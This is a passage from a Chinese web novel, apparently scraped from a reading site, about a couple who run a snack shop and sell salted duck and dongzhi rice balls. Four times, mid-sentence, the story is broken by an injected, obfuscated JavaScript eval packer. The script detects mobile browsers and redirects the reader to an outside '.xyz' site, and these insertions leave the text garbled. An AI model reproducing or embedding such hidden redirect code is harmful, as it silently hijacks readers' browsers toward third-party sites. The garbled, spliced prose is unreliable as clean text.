方才许东山忙着给咸水鸭抹蒜蓉，一时没注意到周伯益的到来，这不，听说人来了，立即将最肥的那只鸭子用剪子剪成了小块，装在盘子里，而后搭上一碗酱油糖醋汁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15483981|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，亲自端了出去。 “不知周大人过来……实在是失礼……” 苏月娘紧接着送上一大碗白米饭，和一碗汤面上飘满肉丸的大骨汤。 “这是蒜蓉咸水鸭，味道可好了！您快尝尝！”送上吃食后，苏月娘又递上了筷子与调羹。 这几碗吃食瞧着倒还算是整齐精致。 掺了菜油蒸制的米饭饱满油润撒了点卤汁，左边铺了一坨炒包菜，右边放了一颗卤蛋。 而那盘咸水鸭虽然被剪成了小块，但还摆成了鸭子原先的形状，最顶上团了一圈带着水珠的芫荽。 “谢谢。”周伯益有礼地道谢，但是两口子目光炯炯地盯着他，这让他有点不好意思动筷，“你们两个去忙你们的。” 见周伯益挥了挥手，两口子笑着退下了。 周伯益是个性情中人，现在五脏庙老爷正与他叫嚣着，又有这么一大盘香气四溢的咸水鸭摆在面前，他也不管什么文雅不文雅的了，撸起两边飘逸的大袖摆后便夹起大鸭腿，一下子塞到口中。 这咸水鸭够入味，才一入口，周伯益眼睛一亮，“嗯！” 和昨日苏月娘一样，他也一口嗦下了鸭肉，大口大口地咀嚼着。 远远地看着周伯益吃咸水鸭的两口子见周伯益一口接一口地往嘴里塞肉，笑着对视了一眼。 “周大人很喜欢我们的鸭子呢！”苏月娘戳了戳许东山的腰。 不论对方是不是达官显贵，作为厨子的许东山看食客如此满足地食用自己做的吃食，心里也跟着轻松起来。 “连一个外地人都能喜欢咸水鸭，咱们本地的应当会更喜欢。”许东山笃定道。 “有客人来了！你先去厨房等着！”客人上门，苏月娘忙迎了上去，“几位想吃什么？今天……” 还没等苏月娘给那几人介绍咸水鸭，其中一位便指了指不远处的周伯益。 “那人吃什么呢？吃得这么香……” 苏月娘瞥了一眼身后的周伯益。 只见这个文质彬彬的读书人吃得腮帮子鼓鼓囊囊的，长须下的双唇沾了些光亮的鸭油，上一口还没咽下，就又吃下一口。 “这是咸水鸭！一份要十三钱！”苏月娘意识到周伯益给自己当上活招牌了。 “嘶……给我来一份吧！要肉多一点的！” 站在这人身后的其他人伸长脖子，瞧周伯益吃得那么香，纷纷咽了咽口水。 “我一份！” “我也要一份！” “好嘞！”一连卖出了三份咸水鸭，苏月娘的脸都笑成了一朵重瓣花，请三位食客入座后，便快步跑到厨房门口让许东山准备一份咸水鸭和米饭。 方才林大松得知知府大人来店里吃饭了，硬是端着碗汤跟在许东山后面走出厨房，顺便看一看自家表妹的恩人长什么样。 只是林大松的眼神太过灼热了，周伯益一抬眸便和他对视上了。 和这么个大人物对视还怪紧张的，林大松扯了扯嘴角，对着周伯益露出一个傻兮兮的笑。 “您吃您的不用管我！今天您这顿算我的！” 周伯益一个字都没听懂，沉默过后，低头继续吃鸭。 65. 麻粩 已经上了饭桌的咸水鸭自是比待在厨房里凉快的咸水鸭来得诱人。 若是食客们光闻若有若无的味道还能□□瘪的荷包劝止，但这下不仅能闻到味道还能看周边的人大快朵颐，任是极能自控的人也难免把持不住。 有一便有二，有二便有三。 有周伯益与那三个食客开了个好头，接下来，陆续有食客进门后问了咸水鸭的味道与价钱后，忍痛要了一份。 别看周伯益生得一副飘逸清瘦的身姿，可他的食量一点都不小。 半个多时辰后，他面前那一整只咸水鸭只剩下一副零散无形的骨架，用来装饭装汤的碗亦是只剩下挂在壁上的油花。 周伯益满足地放下袖子，从袖兜里掏出一块巾子，慢条斯理地在嘴边擦拭了一番。 将自己拾掇清楚后，周伯益解下了腰间的荷包，走向正站在门边等客上门的苏月娘身边。 “头家，头家！”周伯益将苏月娘喊回了神。 苏月娘转过身，冲着周伯益这个大福星笑着，“周大人吃饱了吗？不够吃的话，我再给您装一只带走！” 周伯益没听懂，只是摸出一小块碎银递给苏月娘。 市井之间的小店多是用零散的铜钱结账，苏月娘见了这看着得有一钱重的碎银忙摆了摆手。 “今天这顿是我请您吃的！” 周伯益皱眉，又将碎银往前递了递，“该多少就多少！” 苏月娘又想推拒，周伯益却是眼疾手快地将碎银扣在她的手心里。 “周大人！” 周伯益已经快步离开了。 苏月娘站在门边，合起手心里的碎银，目送周伯益离开。 “周大人走了？”许东山与林大松纷纷凑了过去。 “走了，都说请他吃饭了，他还是给我塞了钱……”苏月娘摊开手心，手心里的小碎银锃亮光洁。 这碎银估摸得有一钱重，一直这么摊开放着，到底是不成。 “先去把钱放起来，等下回见了周大人再还回去……”许东山拍了拍苏月娘的后背。 苏月娘郑重其事地将碎银藏进兜里，这毕竟是知府大人对自家吃食的认可，可要好好收起来才成。 …… 今日备的六只咸水鸭一个时辰便全部卖完了。 到了午后备晚饭的时候，还有几个听说店里在卖咸水鸭的客人上门问询，得知咸水鸭已经卖空之后，客人们失望地准备离开。 虽说今日的生意并没有因为这咸水鸭好转太多，但这已经足够苏月娘准备明日大展手脚了。 在客人们离开之前，苏月娘承诺明日的咸水鸭一定管够。 于是，苏月娘又盯上了正哼着小曲儿准备着海蛎煎糊的林大松。 她回了屋，取来一包钱，塞到了林大松的兜里。 兜里忽然被塞了一包沉重的东西，林大松忙放下盆与筷查看苏月娘塞了什么给他。 当他拎起布袋，鼓鼓囊囊的布袋里头传出清脆的铜钱碰撞声时，他连忙拆开布袋的绳子，只瞧见里头不仅有堆叠着的铜钱，还有几块碎银。 林大松瞪大了他的眼睛，结结巴巴地问道：“你……你……你怎么忽然给我这么多钱？要我帮你带去钱庄存着？” “自然不是……一会儿你去接春喜的时候，顺带去鸭贩子那里定二十只鸭子！务必按照今天这好价钱拿下！” “二十只？卖得完吗！”林大松小心翼翼地扯开衣领，将钱袋子塞到自己胸前的兜里。 钱袋子就这么隐藏在了厚重的冬衣里头，既妥帖又隐蔽。 “哥你只管去买，这二十只鸭子明日可不一定够卖呢！” —— 糕点作坊与卖鸭贩子的家在同一条街上，林大松先去糕点作坊接上了许春喜，再带着许春喜去贩子那儿谈买鸭的事情。 等两人回到店里，店里已经开始售卖晚饭了。 堂屋里坐着吃完饭的客人比起昨日多了一半，林大松猜想，这里头得有不少是冲着咸水鸭来的。 “月娘，这是买鸭剩下的钱！虽说这一回没能把价钱再往下压一压，但是那贩子说了，明日清早会挑二十只肥鸭杀了，亲自送到咱们店里来！”林大松从衣襟里头掏出被捂得温热的布钱袋还给苏月娘。 “可以啊哥！这样还省得你明早和阿山再跑一趟了！”苏月娘乐呵呵地将钱袋子收回兜里，“明天早上给你买三个肉包子吃！” 林大松得意地抻了抻腰身，“记得也给春喜买两个！” 抱着一大包东西走进厨房的许春喜正好听见这话，她嗔了林大松一句，“你自己贪那口肉包子可别带上我！” 林大松不好意思地挠了挠后脑勺。 那头正给客人煮湖头米粉汤的许东山听着妻子与妹妹妹婿的对话，眼中闪过一丝笑意。 一片湖头米粉放入滚烫的底汤中，许东山盖上锅盖，从一旁的小锅里盛出两小碗用剩下的骨汤招呼道：“离开饭还有很久，你们两个先过来喝一碗热骨汤垫垫肚子！” “正好我今天从作坊里头带了一包麻粩来！咱俩配着吃！”许春喜打开横竖扎在油纸包上的细草绳，里头的黑白两色的麻粩便展露了出来。 麻粩乃是掺了生芋头泥的糯米团经过至少两日晾晒后再入油锅慢炸成薄脆的长条，通体沾上粘稠的糖浆，裹满去皮花生碎或是黑色芝麻里头的甜食。 常用于过年过节做贡或是贪嘴时配茶。 “正好作坊里头这两天正在准备一批麻粩，方才我下工时，还剩了一点没卖出去，陈头家就让大家伙各带一点回家尝尝！” 麻粩虽然是圆鼓鼓的长条，但花生芝麻里的胚子经过油炸后内里是空心的，一经碰撞，极易被压扁。 许春喜翻找了半天，挑了一条被压扁的黑芝麻麻粩递给林大松。 林大松不挑形状，颠颠地坐到灶边，呲着大牙小口小口地吃着麻粩。 苏月娘更中意花生的，便挑了一条花生麻粩起来，外头的花生碎沾得并不算紧实，拿起时，还哗哗地掉起了碎，苏月娘怕掉在地上招来暗处的老鼠，连忙用手接在麻粩下边。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15489520|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>等走了置放大骨汤的台子边上，苏月娘才咬了一口麻粩，再用另一手端起温热的骨汤嘬了一口。 骨汤的咸中和了麻粩的甜腻。 等骨汤喝了大半了，许东山送完米粉汤回来，往搁在橱格里的钱盒子里丢了一把铜钱，继续走向锅灶煎海蛎煎。 许东山刚往锅里倒了一勺油，苏月娘便将她啃了一半的麻粩递到了许东山嘴边。 “春喜带回来的麻粩可好吃了！给你尝一口！” 虽然许东山不爱吃甜的，但是苏月娘递过来的东西，莫管酸甜苦辣咸，他总是会欣然尝一尝。 他就着苏月娘啃过的地方咬上一口。 麻粩虽内里中空，却还是残留着一些糯米糕团经过油炸而残留下来的碎米花。 这透明的碎米花一吹，便会纷纷扬扬一片，就好似说书先生口中的“雪”一样。 而外头的麻粩胚子虽然看着薄，但经过油炸的糯米糖胚子却依旧有着黏牙软糯的口感，一口咬下去，糯米香与花生香溢满口之余，还有一丝糖油自唇舌流过。 苏月娘贴心地给许东山抹去了沾在他下唇的碎米花。 “怎么样？好吃吧？” 许东山点了点头，“好吃是好吃，但少吃点，小心又牙疼。” 见苏月娘嘴角有一粒花生碎，许东山抬手拭去，瞧她眼神变得幽怨，他笑着捏了捏她的脸颊。 苏月娘警觉地余光一瞥，果真瞥见许春喜站在林大松身边悄悄地看着自己与许东山。 “咳咳……别这样……小心春喜又笑话咱们了……”苏月娘撞了撞许东山的胳膊。 许东山这才收回手，装作若无其事一般往锅里倒入两大勺海蛎面糊。 许春喜知道自家大哥与苏月娘不好意思了，大口喝掉剩下的骨汤，喊着林大松一起出去做别的事。 林大松出去之前，不忘再捏起一条花生麻粩叼在嘴里。 看着妹妹妹夫出去后，许东山铲起锅里的热油淋在还没成型的海蛎煎上，他转过头，看着正吃着麻粩的苏月娘。 好像是心有灵犀一般，苏月娘也看他。 一想起方才许春喜戏谑的眼神，苏月娘就忍不住靠在许东山身上低笑。 许东山将锅铲换到左手握着，而后顺势搂住苏月娘的腰。 苏月娘靠在许东山身上蹭了蹭，“春喜嫂和我哥感情这么好，我怎么都没碰见过他那两个在外头亲亲抱抱啊……” 许东山目光幽邃地望向窗外，“一来春喜不会同你哥瞎胡闹，二来我还在这儿，你哥不敢轻举妄动。” 说起这个，许东山又想到了林木匠还没将新的大床送来。 “明天我找个时间去林木匠那儿问问床做好没有，总让他俩睡在那张旧床上，我也过意不去。” 苏月娘红着脸搂着许东山的脖子黏糊地在他脸上亲了一口，并压低声音道： “林木匠要是过来了，你让他把咱俩屋里的床修结实一些……夜里咱们的床嘎吱嘎吱响，怪不好意思的……” 许东山，“……” 66. 冬至丸 现在大家伙的日子过得好了，准备成亲的人家也是一茬接着一茬，林木匠和他徒弟的手头积了不少人家的单子。 许春喜和林大松的新床还是许东山私底下塞了点钱给林木匠，这才勉强插了个队，在冬至之前将新床送到了家里。 当然，许东山也不好意思让林木匠在上门安新床的时候去自己屋里给自己的床加固，只是私底下找林木匠的徒弟借了多余的家伙事儿，自己躲到屋里对着床敲敲打打一番。 看着这张比自己家的床还大还漂亮的新床，林大松的嘴角都快咧到耳根子去了。 “林大松，别站那儿了，赶紧过来帮忙铺被子！” “诶！”林大松忙上前去与许春喜一起铺褥子与被子。 先前睡的床小，新做的大被子要总是会从床沿垂到地上去，这下换了张大床，不仅被子能铺平了，还能…… 林大松瞄了许春喜一眼，竟然脸红了。 两口子齐心协力铺好床，林大松趁着许春喜还坐在床上东摸摸西看看，他连忙挨了过去，两条胳膊牢牢地圈在许春喜的腰上。 “床终于换好了，可憋死我了……”林大松委屈巴巴地抱怨道。 “你晚上可以不用憋了……”许春喜前些时日还在纳闷一向爱缠她的林大松为何来了这儿就淡了那方面的心思。 一开始问的时候，林大松还不肯开口，后来经过数次逼问，林大松才支支吾吾地说怕旧床嘎吱嘎吱响，吵着了对面屋里的许东山与苏月娘。 听了这话，许春喜既心疼又觉得好笑。 —— 咸水鸭的生意做了好几日了，尝过的客人们有口皆碑，虽说还是卖十三文一份，但总是有客人舍得为咸水鸭掏腰包。 每日二十只咸水鸭总是能售空，有时还不太够卖。 眼见着店里的生意慢慢恢复从前了，苏月娘做事都有劲多了。 但月娘小吃铺生意变好了，隔壁好不容易生意红火了几日的许氏面线糊就又丢了些客人。 李金花对此恨得牙痒痒，为了不被苏月娘比下去，她催着许二福上街采买几只鸭子，想学着隔壁做上咸水鸭的生意。 怎知道许二福办事不麻利，到中午了，才拿到鸭子。 这不，鸭子还没送到家，便被苏月娘撞了个正着。 苏月娘站在自家店门口看着许二福左手五只鸭、右手五只鸭，她一时被气笑了。 许二福瞥见苏月娘盯着自己似笑非笑的，面上一烧，加快了往家走的步伐。 怎知李金花关心着鸭子，还特意探头出来看。 “许二福，你动作快点！别让隔壁的看见了！” 苏月娘冷哼，“我都看见了……成日学我家的东西，有意思吗？” 李金花也知道自家面线糊店是一路学着苏月娘店里的吃食做过来的，面对苏月娘的质问，她自知理亏，却还是好面子地梗着脖子应道： “咸水鸭又不是什么稀奇的东西，家家户户都能做，我怎么不能做了？你不就是怕被我家抢了生意！” 店门还开着呢，苏月娘不想因为和李金花这个不讲理的吵架而耽误做生意。 她狠狠瞪了李金花一眼后，甩着手，转身回了自家店里。 在厨房里剪咸水鸭的许东山瞥见苏月娘气鼓鼓地冲进厨房里倒凉水，大口大口地喝下肚。 他匆匆将咸水鸭装盘递给红姑去送后，便挪到苏月娘身边去，瞧一瞧她是怎么一回事。 苏月娘囫囵喝完一大碗凉水，不顾下巴上还有滴落的水珠，便噼里啪啦地同许东山抱怨起了他二叔二婶的行径。 “你二叔二婶真的是跟暗处的臭老鼠一样难防！我们家的生意好不容易因为咸水鸭才好了些，他们又偷偷地学咱们做起了咸水鸭！” 越说越气，苏月娘还狠狠地捶了许东山好几下。 毕竟手长在李金花和许二福手上，许东山总不能冲到隔壁去举着棍子，威胁两个人不要这么做。 等苏月娘发泄够了，她还一脸心疼地摸了摸许东山的胸膛，“你这人也真是的，我打你你也不知道躲着点……打疼没有？” 许东山摇头，捉着她的手摸了摸，“我不疼……倒是你的手是不是打疼了？” 相互关心了一顿，两口子便抱在了一块儿。 后头正吭哧吭哧地炒着好几份米粉的林大松瞥见如此腻歪的两人，面露不屑。 其实许春喜私底下也是这么心疼他的！ …… 冬至马上就要到了，又到了家家户户一年一度吃冬至丸的时节。 今日林大松去接许春喜回家时，还顺道去粮食铺子背来了一大袋糯米粉和一小袋红糖。 糯米粉一送到家，苏月娘便站在边上阴阳怪气，“哥你回来的时候没碰到李金花吧？” “你放心好了！绝对没有碰到！”林大松无奈地冲苏月娘笑了笑。 安置好糯米粉和红糖后，林大松挪到许东山边上去，低声问道：“大哥，你还没把月娘哄好啊？” “她脾气就是这样，一阵一阵的，只要发现隔壁挣得不多，她就不会这样了。” 方才还不知所云的许春喜听了林大松和许东山的对话倒也明白了苏月娘阴阳怪气地问那一句是为什么。 许春喜挽上苏月娘的胳膊，用手指头抚了抚她的眉头，“我二婶那臭德行十里八乡都知道，你别生气了，我先给你搓点冬至丸吃！” 苏月娘眉头稍平，轻哼一声，就当散散心中的气了。 “你自己在糕点作坊里累了一天了……回到家了就好好休息休息！” “我可盼冬至丸这一口许久了！左右做起来也不费事儿，你就等着吧！” 虽说一碗简简单单的糯米丸子并没有什么特别的，但是许春喜的一片好心倒是让苏月娘心情好转了不少。 许春喜解下苏月娘身上的围身巾围到自己身上，而后同许东山嘱咐道：“今晚别煮汤了，我先做冬至丸！” 一围上围身巾，许春喜便去拿盆舀糯米粉。 “你们两个小姑娘自己热闹去吧，前面的事情有我做就够了！”红姑推着苏月娘去陪许春喜搓丸子。 糯米粉一遭风吹或是动作起伏便容易飞扬得到处都是，许春喜在糯米粉里拌上少许白糖、淋上一圈油后，便将糯米粉送到院子里去揉成面团。 林大松提着一壶滚水，听许春喜的指令往糯米粉中慢慢倾倒。 滚水落到糯米粉上，将糯米粉烫得半熟，糯米粉的香味变得浓郁了起来。 怕一会儿揉制面团时太过粘手，滚水一与糯米粉结合，许春喜便用筷子快速拌开。 几次下来，盆中的糯米粉被拌成了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15493568|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一盆碎散的面絮，许春喜将盆挪到林大松面前，叫林大松将滚烫的面絮揉成团。 林大松闭着眼睛，硬着头皮对着那一盆面絮快速按压了起来。 面絮烫得差点叫林大松惨叫出声来，待油亮的面团揉好了，许春喜冲他笑了笑，便端着那面团回去了。 冬至丸与七夕糖粿的制作极为相似，不仅皆是由糯米制成，就连颜色也是分白粉两种。 许春喜用小勺沾了点红花米盖在面团的小角落里，等放到了堂屋的桌上后，许春喜火速揪起那一坨放了红花米的面团揉成均匀的粉色面团。 苏月娘倒也没有闲着，洗了一个簸箕仔细擦干，再撒上一小把防粘的糯米粉摆在桌头备用。 许春喜揉好了红面团，姑嫂二人开始着手搓起冬至丸。 许春喜手快，手心里握一截面团，一段一段地往外挤出，再搓成圆滚滚的小丸子丢在簸箕上头。 苏月娘却是一连揪了几块小面团搁在手心里一起搓成丸子，再一起往簸箕里头倒。 做这种不怎么需要动脑子的简单活时，最是适宜说一些闲话。 正好许春喜这段时日在糕点作坊干活，从一起干活的师傅们的口中，将另一条街上的鸡毛蒜皮、家长里短听了个全乎。 苏月娘听别人家的事情听得入迷，一时忘记了李金花做的那些糟心事。 姑嫂两人一边搓一边聊，没一会儿，盆里备的两色面团便成了簸箕里头一个个圆溜溜、胖乎乎的冬至丸了。 搓好冬至丸后，苏月娘只觉得有些意犹未尽。 许春喜双手提起簸箕，手腕用力，幅度轻微地摇晃簸箕里头的冬至丸，冬至丸在簸箕上头来回晃悠了两下，裹上了一层薄薄的糯米粉。 “你不是明日就开始卖冬至丸了吗？等明日搓丸子的时候，咱们再继续！” 苏月娘弯着眼，应了声好。 这个时候，许东山和林大松已经开始做晚饭了，这冬至丸子也是时候下锅了。 “月娘最近想吃芋头，把这芋头一起煮了。”许东山递来一小盆芋头丁。 “哥，你这开了花的老铁树还挺会疼人！”许春喜打趣了她哥一句。 许东山懒得回应许春喜，倒是苏月娘切了姜片过来，笑着同许春喜道： “是啊，你哥特别会疼人！嫁他可一点都不亏！” 许春喜的打趣许东山没什么感觉，倒是苏月娘真心实意的夸赞让许东山红了耳朵。 姑嫂二人不约而同地盯着许东山瞧，随后笑成了一团。 冷水锅里下入红糖、白糖、姜片与芋头丁，稍稍搅拌后，任其至沸腾。 冬日正是吃芋头的时节，锅里的芋头芋味十足，水一沸，香味便飘得满厨房都是。 “芋头可真是好东西……做甜做咸都好吃！”苏月娘趁许春喜揭开锅盖倒丸子时，凑到边上闻味儿。 “等过年的时候炸多了吃不完，你就不会这么说了！”许春喜将丸子倒完之后，便又合上了锅盖。 揉制时已经被烫得半熟的面团煮起来尤其快，不到半刻钟时间，锅里的冬至丸便浮到了汤面上。 许春喜取一只筷子，戳了戳底下的芋头丁，这个火候与时间正好，芋头正好被煮得松软又不至于软散在汤水中。 芋头丸子俱熟，这一锅丸子汤便可以出锅了。 67. 冬至丸（咸） 因为马上要吃饭的缘故，许春喜便没有特地先给苏月娘盛一碗尝尝。 等饭菜都上桌了，六个人都到齐了，苏月娘才给自己盛了一碗芋头冬至丸。 一旁的阿生也是满面期待地盯着汤盆，等苏月娘给自己盛好，他悄悄将碗推了过去。 苏月娘看见阿生的碗，便将阿生的碗拿去，“阿生喜欢吃丸子还是芋头？” “都喜欢！” 满满当当的芋头冬至丸汤放在面前，阿生迫不及待地低下头，就着碗沿嘬了一口甜汤，再用小调羹捞起一颗圆滚滚的小丸子吹凉塞入口中。 因为是与姜片、芋头一起煮的，这软硬适中的冬至丸子裹着的汤汁含着些许辛辣与芋头香。 “冬至丸真好吃……谢谢干娘和姑姑！你们真厉害！” 阿生这孩子如此嘴甜，哄得苏月娘和许春喜心里甜滋滋的。 “你这孩子！有得吃就嘴甜！”红姑哭笑不得。 “才不是……我是真心实意地夸干娘和姑姑！” 苏月娘搂着阿生的圆脑袋亲昵了一番，“这孩子真机灵，连真心实意都会说了！以后去了学堂肯定是最聪明的那一个！” 如今红姑在月娘小吃铺做事，每个月能拿上一笔比卖豆腐多不少的工钱，虽然有些辛苦，但是日子在慢慢地变好起来。 阿生将家里的转变看在眼里，已不再排斥去学堂念书了。 阿生拍了拍胸脯，“我一定不会给阿嬷和干娘丢脸的！等我长大当大官了，一定会给你们起大厝买田地的！” “不用很大，就跟另一条街上的吴家那样大就好！”苏月娘故意逗他。 怎知这孩子还真信誓旦旦地应下了，还扬言阿嬷一座、干爹干娘一座、姑姑姑父一座。 苏月娘也没将阿生天真的言语放在心上。 她只是舀起一勺甜汤抿了一口。 汤中的姜辛将冬日入骨的寒冷都驱散，红糖白糖也从舌尖甜进了心里。 —— 卯时不到，月娘小吃铺的堂屋里亮起了一盏蜡烛。 小小一团烛光将堂屋的一小片照亮，早起一步的许东山与林大松一起围在烛边做冬至丸要用的面团。 林大松站在边上负责往盆里倒滚水。 当还在犯困的林大松第三次将热水倒到许东山手背上时，终于忍无可忍的许东山一把抢过热水壶，一手倒水，一手用筷子搅拌面絮。 “大哥，我又烫着你了？”林大松不好意思地挠了挠后脑勺。 “你昨晚上做贼去了？怎么困成这样？”没了林大松帮忙的许东山干活快多了，三下两下便拌好了面絮，改上手揉搓糯米面团了。 林大松闭紧了嘴巴，不敢回话。 “你先去准备面线糊！” 林大松瞪大眼睛，“今天我掌勺做面线糊？真的吗？” 先前许东山虽然教会林大松怎么做面线糊，可究竟是没找着合适的机会让他上手做。 “你要是搞糟了，我让月娘扣你工钱！” 生怕因为被扣了工钱而被许春喜责怪的林大松连忙打起精神，阔步走向厨房准备面线糊去了。 苏月娘与许春喜没那么早起，揉好了两大盆面团的许东山就先着手搓起了冬至丸。 待搓满了一簸箕，苏月娘和许春喜才慢悠悠地从后头走来。 “我们阿山辛苦了！”趁着许春喜去厨房找林大松，苏月娘挪到许东山身边去，踮起脚尖往他侧脸上吻了一口。 对苏月娘来说，一早醒来发现许东山不在身边是一件极让她安心的事情。 这意味的店里的活有人干，今日的生意不会被耽误。 许东山一边手不停地搓着丸子，一边朝着苏月娘低下头，在她唇上回了一口。 “我还以为你天亮才会起。” “虽然这冬至丸不赚什么钱，但我这做头家的还是得为这事儿勤快一些！总不能让我家头家娘将我比下去了！”苏月娘狡黠地笑着。 这“头家娘”自是称呼许东山的。 头一回听苏月娘这样喊他的许东山觉得有些新奇，却也很快认下了他“头家娘”的身份。 …… “卖冬至丸喽！卖冬至丸喽！” 月娘小吃铺的大门一打开，等候已久的李金花便开始大声吆喝。 冬至又叫“小年兜（1）”，虽然还有两天才到冬至，但“小年兜”前后不可轻易动气，不然容易招来晦气。 苏月娘咽下这一口气，将手插进暖和的兜里，回屋等着客人上门。 今天最先上门的客人还是吴头家和他的小孙子。 吴头家还是要了他的“老样子”，而他的小孙子却是手里头抓着个流油的大肉包在啃。 “这孩子说面线糊吃多了腻，要吃包子换换口味！”吴头家笑着解释道。 “到中午饭还有许久，就吃一个肉包子哪里够？我送你一碗冬至丸！” 能有几个小孩子不爱吃甜的？吴头家的孙子亮着他那漏风的两排牙，同苏月娘道了谢。 热气腾腾的一碗芋头冬至丸汤端上了桌，吴头家还多看了那一碗又白又红还有点淡紫的甜汤几眼。 苏月娘嘱咐吴头家的孙子小心烫之后，便回厨房做事了。 没过多久，她便听见吴头家孙子大叫道： “阿公你别抢我的丸子！” “我就尝两口！你别乱叫！” 大概是吴头家捂住了他孙子的嘴，他孙子的叫声这才慢慢小了。 苏月娘噗嗤一笑。 吴头家怕不是个老顽童，连孙儿的甜汤都不放过。 —— 厝边头尾像是知道许氏面线糊有的东西多半是学月娘小吃铺的，所以，大家伙少不得对两家的价钱与用料进行比较。 听说李金花那儿的冬至丸一碗三文钱，再去月娘小吃铺一打听，得知掺了芋头丁的冬至丸也才卖两文钱一碗，甚至买了咸水鸭或者米粉，这冬至丸便一分钱不要。 但凡是头脑没问题的都知道该去月娘小吃铺吃冬至丸。 人都是从众的，大家伙见月娘小吃铺的人多，就算不知缘由也纷纷舍弃了人较少的许氏面线糊走入月娘小吃铺里。 有人要煮熟的，也有人买生的。 无论是生是熟，只要给钱，苏月娘必然会卖。 原以为今早备的几斤冬至丸能够应付这一整日，没想到正午饭点才过半，提早备好的冬至丸便已经售空了。 前头还有不少客人在等着，红姑与许春喜只能现揉面团，两手差点搓出了火星子。 店里又变得与从前一般热闹，苏月娘面上灿烂的笑容又回来了。 总算熬过了最忙碌的一个半时辰，搓丸子搓得手腕发酸的许春喜伸着双手让林大松替她按摩。 林大松满脸心疼地捧着许春喜的手又吹又亲。 苏月娘看着表兄表嫂如此，一把拉住了一旁正在捶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15503596|164129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 肩的许东山，将双手伸了去。 “阿山，我也要揉……”苏月娘娇着嗓子喊许东山给她揉手。 许东山向来疼苏月娘，也顾不得自己还肩酸背痛，就握着她的双手，一寸一寸慢慢揉着。 两对夫妇正各自腻歪着，打门外，走来了一人。 “呦！看来今天生意不错啊！都累到手酸了！” 许春喜抬起头，见陈头家在堂屋里坐下，忙甩开林大松的手站了起来。 “陈头家您怎么绕这么大老远的路过来了？” 陈头家揉了揉被寒风吹得快要皲裂的脸颊，“我午后要拜访一个老相识！正好路过你们这儿，就想着来吃一口！” “您这顿算我的！您看看吃点什么？招牌的咸水鸭已经卖没了……” 陈头家抬起头，盯着菜单一顿瞧，盯了半天，并不认识几个字的他讪讪地低下头，怎知，他倒是眼尖，瞧见了一旁剩下的冬至丸。 “哎呦！你们家都卖起冬至丸了！眼见着马上就冬至了，你就给我煮一碗咸的冬至丸吧！” “咸的？”许春喜鲜少听见有人吃咸的冬至丸，“您怎么不吃甜的？” 陈头家拍了拍自己顶在桌沿的大肚腩，那圆鼓鼓的大肚腩被他拍得一弹一弹的，他满面无奈地摇了摇头，道：“我也想啊，但最近身子有点不舒服，郎中让我少吃甜的！” “这样啊……我让我哥做一碗！往后您好好养身体！” 许东山虽不吃咸的冬至丸，但到底在吃食这方面见多识广，做一碗咸味的冬至丸并不在话下。 与苏月娘说了一声后，他便回了厨房。 这陈头家来得当真是凑巧，做咸冬至丸的配料正是今天中午配汤的料，连肉羹都不必现成腌制挂粉。 吐尽了沙子的油蛤、香菇片、几粒干贝依次倒入锅中滚煮，待油蛤被煮至张开了口，露出了肥美饱满的蛤肉，汤水渗入精华，变得有些浑浊，焕出鲜甜的味道。 许东山将余下所有的肉羹与冬至丸下入油蛤汤中，让肉羹与冬至丸在滚水中沸煮至定型后，掰半捆面线，拨两颗油菜放入汤水中，盖上锅盖直至内里的料煮熟。 不一会儿，许东山再次揭开锅盖，白色的水汽夹带着油蛤香菇汤与糯米丸子的味道钻入鼻腔里，短暂的一片迷雾之后，锅中闷热膨胀的丸子慢慢地缩到了原先的大小。 简单用盐、胡椒粉以及葱头油调味之后，许东山用大盆装起咸冬至丸汤，给陈头家送过去。 陈头家瞧见这么大的饭盆，捧着肚子大笑出声： “你们可真懂我！我平日里在家吃饭就吃这么大一个盆！” 许春喜探头往饭盆里瞧，盆里的配料五花八门、五颜六色的，煮得颜色略混浊的汤水上头飘着些金黄色的油花。 在她的观念里，冬至丸就该是甜的，若是放到咸汤里煮，味道定然好不到哪儿去…… 